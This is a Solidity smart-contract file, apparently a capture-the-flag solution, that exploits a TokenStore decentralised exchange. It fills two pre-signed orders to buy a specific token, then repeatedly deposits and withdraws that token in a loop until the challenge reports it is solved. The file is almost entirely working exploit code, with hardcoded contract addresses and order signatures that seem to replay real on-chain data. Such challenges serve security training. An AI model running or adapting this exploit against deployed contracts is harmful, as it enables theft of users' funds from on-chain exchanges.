interface ITokenStore {
function tokens(address _token, address _user) external view returns (uint256);
function deposit() external payable;
function depositToken(address _token, uint _amount) external;
function withdrawToken(address _token, uint _amount) external;
function trade(
address _tokenGet,
uint _amountGet,
address _tokenGive,
uint _amountGive,
uint _expires,
uint _nonce,
address _user,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint _amount
) external;
function availableVolume(
address _tokenGet,
uint _amountGet,
address _tokenGive,
uint _amountGive,
uint _expires,
uint _nonce,
address _user,
uint8 _v,
bytes32 _r,
bytes32 _s
) external view returns (uint256);
}
contract Solve is CTFSolver {
ITokenStore tokenStore = ITokenStore(0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8);
function doTrade(
address _tokenGet,
uint _amountGet,
address _tokenGive,
uint _amountGive,
uint _expires,
uint _nonce,
address _user,
uint8 _v,
bytes32 _r,
bytes32 _s
) internal {
uint256 amount = tokenStore.availableVolume(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _user, _v, _r, _s);
tokenStore.trade(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _user, _v, _r, _s, amount);
}
function solve(address _challenge, address player) internal override {
Challenge challenge = Challenge(_challenge);
address token = 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845;
tokenStore.deposit{value: 10 ether}(); // to buy $XGR
doTrade(
address(0),
84000000000000000,
token,
200000000000,
108142282,
470903382,
address(0xa219Fb3CfAE449F6b5157c1200652cc13e9c9EA8),
28,
0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018,
0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a
);
doTrade(
address(0),
42468000000000000,
token,
1000000000000,
109997981,
249363390,
address(0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C),
28,
0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397,
0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e
);
IERC20(token).approve(address(tokenStore), type(uint256).max);
tokenStore.withdrawToken(token, tokenStore.tokens(token, player));
while(!challenge.isSolved()) {
tokenStore.depositToken(token, IERC20(token).balanceOf(player));
tokenStore.withdrawToken(token, tokenStore.tokens(token, player));
}
}
}